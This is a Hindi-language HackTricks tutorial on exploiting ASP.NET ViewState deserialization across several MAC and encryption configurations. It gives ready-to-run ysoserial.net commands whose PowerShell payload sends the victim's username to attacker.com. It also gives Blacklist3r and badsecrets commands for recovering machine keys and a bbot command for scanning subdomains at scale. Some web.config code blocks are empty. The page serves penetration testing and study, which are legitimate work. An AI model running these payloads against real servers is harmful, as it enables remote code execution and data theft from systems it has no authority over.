# \_\_VIEWSTATE का शोषण बिना रहस्य जाने
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter पर मुझे** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का अनुसरण करें।**
* **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।**
यदि आप **हैकिंग करियर** में रुचि रखते हैं और असंभव को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_पोलिश भाषा में धाराप्रवाह लिखित और बोलचाल की आवश्यकता है_).
{% embed url="https://www.stmcyber.com/careers" %}
## ViewState क्या है
**ViewState** वह विधि है जिसका उपयोग ASP.NET फ्रेमवर्क डिफ़ॉल्ट रूप से वेब पेजों के बीच **पेज और कंट्रोल मानों को संरक्षित करने** के लिए करता है। जब पेज के लिए HTML रेंडर किया जाता है, तो पेज की वर्तमान स्थिति और पोस्टबैक के दौरान बनाए रखने की आवश्यकता वाले मानों को सीरियलाइज किया जाता है और बेस64-एन्कोडेड स्ट्रिंग्स में परिवर्तित करके ViewState छिपे हुए फील्ड या फील्ड्स में आउटपुट किया जाता है।\
ViewState जानकारी के लिए निम्नलिखित गुण या गुणों का संयोजन लागू होता है:
* Base64
* EnableViewStateMac और ViewStateEncryptionMode विशेषता को false पर सेट करके परिभाषित किया जा सकता है
* Base64 + MAC (Message Authentication Code) सक्षम
* EnableViewStateMac विशेषता को true पर सेट करके परिभाषित किया जा सकता है
* Base64 + एन्क्रिप्टेड
* viewStateEncryptionMode विशेषता को true पर सेट करके परिभाषित किया जा सकता है
## **परीक्षण मामले**
![](<../../.gitbook/assets/image (309) (2).png>)
### परीक्षण मामला: 1 – EnableViewStateMac=false और viewStateEncryptionMode=false
`AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम करना भी संभव है:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState विशेषताओं की पहचान करना**
आप BurpSuite का उपयोग करके इस पैरामीटर के साथ एक अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि ViewState MAC से सुरक्षित है या नहीं:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया जाता है, तो आप इसे [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके एक्सप्लॉइट कर सकते हैं।
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### टेस्ट केस 1.5 – टेस्ट केस 1 की तरह लेकिन ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर्स HTTP Request का हिस्सा बनने से **ViewState को हटा** सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी).\
कोई मान सकता है कि अगर **ViewState मौजूद नहीं है**, तो उनका कार्यान्वयन ViewState डिसेरियलाइजेशन के साथ आने वाली किसी भी संभावित कमजोरियों से **सुरक्षित** है.\
हालांकि, ऐसा नहीं है. अगर हम रिक्वेस्ट बॉडी में **ViewState पैरामीटर जोड़ते हैं** और ysoserial का उपयोग करके बनाए गए हमारे सीरियलाइज्ड पेलोड को भेजते हैं, तो हम **कोड एक्जीक्यूशन** को प्राप्त करने में सक्षम होंगे जैसा कि **केस 1** में दिखाया गया है.
### टेस्ट केस: 2 – .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
किसी **विशिष्ट पेज** के लिए **ViewState MAC को सक्षम** करने के लिए हमें विशिष्ट aspx फाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
हम इसे **web.config** फ़ाइल में नीचे दिखाए गए अनुसार सेट करके **समग्र** एप्लिकेशन के लिए भी कर सकते हैं:
```markup
```
चूंकि पैरामीटर इस बार MAC संरक्षित है, हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग की गई कुंजी की आवश्यकता होती है। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC संरक्षित है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
उपयोग की गई कुंजी खोजने के लिए आप [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का प्रयोग कर सकते हैं।
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
```markdown
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें Windows निर्भरता नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोगिता है, जो इसे उपयोग करने का सबसे तेज़ तरीका है।
इसे viewstate और generator सीधे प्रदान किया जा सकता है:
```
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
या, यह सीधे लक्ष्य URL से जुड़ सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
बड़े पैमाने पर संवेदनशील viewstates की खोज के लिए, सबडोमेन गणना के साथ, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
```
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके हमले के साथ आगे बढ़ सकते हैं:
```
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
जिन मामलों में `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा भेजा नहीं जाता** है, आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं होती** **लेकिन इन्हें देना होता है**:
```bash
--apppath="/" --path="/hello.aspx"
```
### परीक्षण मामला: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में Burp यह नहीं पता लगा पाता कि पैरामीटर MAC से सुरक्षित है या नहीं क्योंकि वह मानों को पहचान नहीं पाता। तब, मान संभवतः एन्क्रिप्टेड होता है और आपको **अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की की आवश्यकता होगी** ताकि आप संवेदनशीलता का शोषण कर सकें।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकासाधीन है...**
**.NET 4.5 से पहले**, ASP.NET उपयोगकर्ताओं से \_`__VIEWSTATE`\_ पैरामीटर को **स्वीकार कर सकता है** भले ही **`ViewStateEncryptionMode`** को _**हमेशा**_ के लिए सेट किया गया हो। ASP.NET **केवल** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की जांच करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो भी वह प्रोसेस किया जाएगा।**
इसलिए, यदि मशीनकी ज्ञात हो (उदाहरण के लिए, एक डायरेक्टरी ट्रैवर्सल समस्या के माध्यम से), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड जो **मामला 2** में इस्तेमाल किया गया था, ViewState डिसेरियलाइजेशन संवेदनशीलता का उपयोग करके RCE को प्रदर्शन करने के लिए इस्तेमाल किया जा सकता है।
* ViewState डिसेरियलाइजेशन संवेदनशीलता का शोषण करने के लिए, `__VIEWSTATEENCRYPTED` पैरामीटर को अनुरोध से हटा दें, अन्यथा यह Viewstate MAC मान्यता त्रुटि वापस करेगा और शोषण विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
### परीक्षण मामला: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को छोड़कर झूठा
हम नीचे दिए गए पैरामीटर को web.config फाइल में निर्दिष्ट करके ASP.NET फ्रेमवर्क के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
```markup
```
इसे नीचे दिए गए विकल्प को `machineKey` पैरामीटर के अंदर web.config फाइल में निर्दिष्ट करके भी किया जा सकता है।
```bash
compatibilityMode="Framework45"
```
पिछले मामले की तरह Burp यह पहचान नहीं पाता है कि अनुरोध MAC संरक्षित है या नहीं क्योंकि **मान एन्क्रिप्टेड है।** फिर, **वैध पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।**
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके कुंजी खोजने का प्रयास कर सकते हैं:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए [यहाँ देखें](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
या, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) के साथ (एक जनरेटर मान के साथ):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
एक वैध Machine key की पहचान हो जाने के बाद, **अगला कदम है एक serialized payload तैयार करना** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके
```
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
यदि आपके पास `__VIEWSTATEGENERATOR` का मान है, तो आप उस मान के साथ `--generator` पैरामीटर का **प्रयोग** कर सकते हैं और `--path` और `--apppath` पैरामीटर्स को **छोड़** सकते हैं।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
यदि ViewState डिसेरियलाइजेशन भेद्यता का सफलतापूर्वक शोषण किया जाता है, तो एक हमलावर-नियंत्रित सर्वर को उपयोगकर्ता नाम सहित एक बाहरी बैंड अनुरोध प्राप्त होगा। [सफल शोषण का PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### परीक्षण मामला 6 – ViewStateUserKeys का उपयोग किया जा रहा है
**ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **बचाव** के लिए किया जा सकता है। यदि एप्लिकेशन में ऐसी कुंजी परिभाषित की गई है और हम अब तक चर्चा की गई विधियों के साथ **ViewState** पेलोड उत्पन्न करने का प्रयास करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
आपको पेलोड को सही ढंग से बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### सफल शोषण का परिणाम
सभी परीक्षण मामलों में, यदि ViewState YSoSerial.Net पेलोड **सफलतापूर्वक** काम करता है तो सर्वर “**500 Internal server error**” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “**The state information is invalid for this page and might be corrupted**” होती है और हमें नीचे दिखाए गए चित्रों के अनुसार OOB अनुरोध प्राप्त होता है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
वर्तमान उपयोगकर्ता नाम के साथ बाहरी बैंड अनुरोध
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## संदर्भ
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
यदि आप **hacking career** में रुचि रखते हैं और अशक्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **cybersecurity company** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं?** या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं?** [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपनी hacking tricks साझा करें, hacktricks repo** और **hacktricks-cloud repo** में PRs सबमिट करके.